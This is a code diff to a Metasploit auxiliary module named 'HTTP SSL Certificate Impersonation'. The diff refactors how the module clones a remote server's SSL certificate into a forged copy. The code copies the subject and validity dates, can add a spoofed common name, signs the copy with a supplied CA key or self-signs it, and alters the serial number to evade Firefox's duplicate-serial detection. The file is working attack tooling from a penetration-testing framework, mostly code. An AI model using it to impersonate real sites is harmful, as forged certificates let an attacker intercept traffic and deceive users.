@@ -19,11 +19,14 @@ class Metasploit4 < Msf::Auxiliary
19
19
def initialize ( info = { } )
20
20
super ( update_info ( info ,
21
21
'Name' => 'HTTP SSL Certificate Impersonation' ,
22
- 'Version' => '$Revision$' ,
23
22
'Author' => ' Chris John Riley' ,
23
+ 'References' =>
24
+ [
25
+ [ 'URL' , 'http://www.slideshare.net/ChrisJohnRiley/ssl-certificate-impersonation-for-shits-andgiggles' ]
26
+ ] ,
24
27
'License' => MSF_LICENSE ,
25
28
'Description' => %q{
26
- This module request a copy of the remote SSL certificate and creates a local
29
+ This module request a copy of the remote SSL certificate and creates a local
27
30
(self.signed) version using the information from the remote version. The module
28
31
then Outputs (PEM|DER) format private key / certificate and a combined version
29
32
for use in Apache or other Metasploit modules requiring SSLCert Inputs for private
@@ -34,46 +37,52 @@ def initialize(info={})
34
37
register_options (
35
38
[
36
39
Opt ::RPORT ( 443 ) ,
37
- OptString . new ( 'OUT_FORMAT' , [ true , "Output format PEM / DER" , 'PEM' ] ) ,
38
- OptString . new ( 'EXPIRATION' , [ false , "Date the new cert should expire (e.g. 06 May 2012, Yesterday or Now)" , '' ] ) ,
39
- OptString . new ( 'PRIVKEY' , [ false , "Sign the cert with your own CA private key ;)" , '' ] ) ,
40
- OptString . new ( 'PRIVKEY_PASSWORD' , [ false , "Password for private key specified in PRIV_KEY (if applicable)" , '' ] ) ,
41
- OptString . new ( 'CA_CERT' , [ false , "CA Public certificate" , '' ] ) ,
42
- OptString . new ( 'ADD_CN' , [ false , "Add CN to match spoofed site name (e.g. *.example.com)" , '' ] ) ,
40
+ OptEnum . new ( 'OUT_FORMAT' , [ true , "Output format" , 'PEM' , [ 'DER' , 'PEM' ] ] ) ,
41
+ OptString . new ( 'EXPIRATION' , [ false , "Date the new cert should expire (e.g. 06 May 2012, YESTERDAY or NOW)" , nil ] ) ,
42
+ OptPath . new ( 'PRIVKEY' , [ false , "Sign the cert with your own CA private key" , nil ] ) ,
43
+ OptString . new ( 'PRIVKEY_PASSWORD' , [ false , "Password for private key specified in PRIV_KEY (if applicable)" , nil ] ) ,
44
+ OptPath . new ( 'CA_CERT' , [ false , "CA Public certificate" , nil ] ) ,
45
+ OptString . new ( 'ADD_CN' , [ false , "Add CN to match spoofed site name (e.g. *.example.com)" , nil ] )
46
+ ] , self . class )
47
+
48
+ register_advanced_options (
49
+ [
50
+ OptBool . new ( 'AlterSerial' , [ false , "Alter the serial number slightly to avoif FireFox serial matching" , true ] )
43
51
] , self . class )
44
52
end
45
53
46
54
def run
47
55
print_status ( "Connecting to #{ rhost } :#{ rport } " )
48
56
49
- if ( datastore [ 'PRIVKEY' ] != '' and datastore [ 'CA_CERT' ] != '' )
50
- print_status ( "Signing generated certificate with provided KEY and CA Certificate" )
51
- if datastore [ 'PRIVKEY_PASSWORD' ] != ''
57
+ if not datastore [ 'PRIVKEY' ] . nil? and not datastore [ 'CA_CERT' ] . nil?
58
+ print_status ( "Signing generated certificate with provided PRIVATE KEY and CA Certificate" )
59
+ if not datastore [ 'PRIVKEY_PASSWORD' ] . nil? and not datastore [ 'PRIVKEY_PASSWORD' ] . empty?
52
60
ca_key = OpenSSL ::PKey ::RSA . new ( File . read ( datastore [ 'PRIVKEY' ] ) , datastore [ 'PRIVKEY_PASSWORD' ] )
53
61
else
54
62
ca_key = OpenSSL ::PKey ::RSA . new ( File . read ( datastore [ 'PRIVKEY' ] ) )
55
63
end
56
64
ca = OpenSSL ::X509 ::Certificate . new ( File . read ( datastore [ 'CA_CERT' ] ) )
57
- elsif ( datastore [ 'PRIVKEY' ] != '' or datastore [ 'CA_CERT' ] != '' )
65
+ elsif not datastore [ 'PRIVKEY' ] . nil? or not datastore [ 'CA_CERT' ] . nil?
66
+ # error if both PRIVKEY and CA_CERT are not BOTH provided
58
67
print_error ( "CA Certificate AND Private Key must be provided!" )
59
68
return
60
69
end
61
70
62
71
begin
63
72
connect ( true , { "SSL" => true } ) # Force SSL even for RPORT != 443
64
- cert = OpenSSL ::X509 ::Certificate . new ( sock . peer_cert ) # Get certificate from remote rhost
73
+ cert = OpenSSL ::X509 ::Certificate . new ( sock . peer_cert ) # Get certificate from remote rhost
65
74
disconnect
66
75
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout => e
67
76
rescue ::Timeout ::Error , ::Errno ::EPIPE => e
68
77
print_error ( e . message )
69
78
end
70
79
71
- if ( not cert )
72
- print_error ( "#{ rhost } No certificate subject or CN found" )
80
+ if not cert
81
+ print_error ( "#{ rhost } : #{ rport } No certificate subject or CN found" )
73
82
return
74
83
end
75
84
76
- print_status ( "Copying certificate #{ cert . subject . to_s } from #{ rhost } :#{ rport } " )
85
+ print_status ( "Copying certificate from #{ rhost } :#{ rport } \n #{ cert . subject . to_s } " )
77
86
vprint_status ( "Original Certifcate Details\n \n #{ cert . to_text } " )
78
87
79
88
begin
@@ -89,21 +98,23 @@ def run
89
98
end
90
99
91
100
new_cert = OpenSSL ::X509 ::Certificate . new
92
- ef = OpenSSL ::X509 ::ExtensionFactory . new #(nil,new_cert)
101
+ ef = OpenSSL ::X509 ::ExtensionFactory . new
93
102
94
103
# Duplicate information from the remote certificate
95
104
entries = [ 'version' , 'serial' , 'subject' , 'not_before' , 'not_after' ]
96
105
entries . each do | ent |
97
106
eval ( "new_cert.#{ ent } = cert.#{ ent } " )
98
107
end
99
108
100
- if datastore [ 'ADD_CN' ] != ''
109
+ # add additional Common Name to the new cert
110
+ if not datastore [ 'ADD_CN' ] . nil? and not datastore [ 'ADD_CN' ] . empty?
101
111
new_cert . subject = OpenSSL ::X509 ::Name . new ( new_cert . subject . to_a << [ "CN" , "#{ datastore [ 'ADD_CN' ] } " ] )
102
112
print_status ( "Adding #{ datastore [ 'ADD_CN' ] } to the end of the certificate subject" )
103
113
vprint_status ( "Certificate Subject: #{ new_cert . subject } " )
104
114
end
105
115
106
- if datastore [ 'EXPIRATION' ] != ''
116
+ if not datastore [ 'EXPIRATION' ] . nil? and not datastore [ 'EXPIRATION' ] . empty?
117
+ # alter the not_after and not_before dates
107
118
print_status ( "Altering certificate expiry information to #{ datastore [ 'EXPIRATION' ] } " )
108
119
109
120
case datastore [ 'EXPIRATION' ] . downcase
@@ -123,13 +134,21 @@ def run
123
134
end
124
135
125
136
# Alter serial to avoid duplicate issuer/serial detection
126
- if ( cert . serial . to_s . length > 1 )
127
- new_cert . serial = ( cert . serial . to_s [ 0 ..-2 ] + rand ( 0xFF ) . to_s ) . to_i
137
+ if datastore [ 'AlterSerial' ]
138
+ if ( cert . serial . to_s . length > 1 )
139
+ # alter last digits of the serial number
140
+ new_cert . serial = ( cert . serial . to_s [ 0 ..-2 ] + rand ( 0xFF ) . to_s ) . to_i
141
+ else
142
+ # serial is too small, create random serial
143
+ vprint_error ( "The serial number of the original cert is too short. Creating new random serial" )
144
+ new_cert . serial = rand ( 0xFFFF )
145
+ end
128
146
else
129
- new_cert . serial = rand ( 0xFFFF )
147
+ # match serial number
148
+ new_cert . serial = cert . serial . to_s
130
149
end
131
150
132
- if datastore [ 'PRIVKEY' ] != ''
151
+ if not datastore [ 'PRIVKEY' ] . nil? and not datastore [ 'PRIVKEY' ] . empty?
133
152
new_cert . public_key = ca_key . public_key
134
153
ef . subject_certificate = ca
135
154
ef . issuer_certificate = ca
@@ -140,7 +159,7 @@ def run
140
159
new_cert . public_key = new_key . public_key
141
160
ef . subject_certificate = new_cert
142
161
ef . issuer_certificate = new_cert
143
- if datastore [ 'ADD_CN' ] != ''
162
+ if not datastore [ 'ADD_CN' ] . nil? and not datastore [ 'ADD_CN' ] . empty?
144
163
new_cert . issuer = new_cert . subject
145
164
else
146
165
new_cert . issuer = cert . subject
@@ -152,7 +171,7 @@ def run
152
171
ef . create_extension ( "subjectKeyIdentifier" , "hash" ) ,
153
172
]
154
173
155
- if datastore [ 'PRIVKEY' ] != ''
174
+ if not datastore [ 'PRIVKEY' ] . nil? and not datastore [ 'PRIVKEY' ] . empty?
156
175
new_cert . sign ( ca_key , eval ( "OpenSSL::Digest::#{ hashtype . upcase } .new" ) )
157
176
new_key = ca_key # Set for file output
158
177
else
0 commit comments